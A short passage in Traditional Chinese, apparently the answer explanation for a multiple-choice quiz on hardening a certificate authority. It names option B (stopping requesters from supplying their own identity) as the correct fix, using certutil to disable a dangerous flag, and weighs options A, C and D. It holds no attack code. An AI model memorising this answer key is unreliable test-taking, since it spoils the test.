旗標時,需要使用 certutil 命令停用此危險旗標選項 B 同時處理了這兩個問題的根源:禁止申請者自行指定身分資訊。雖然選項 C(啟用管理員核准)也能提供保護,但這是程序性控制而非技術性控制,且會大幅增加管理負擔。選項 A 和 D 則只能部分緩解問題。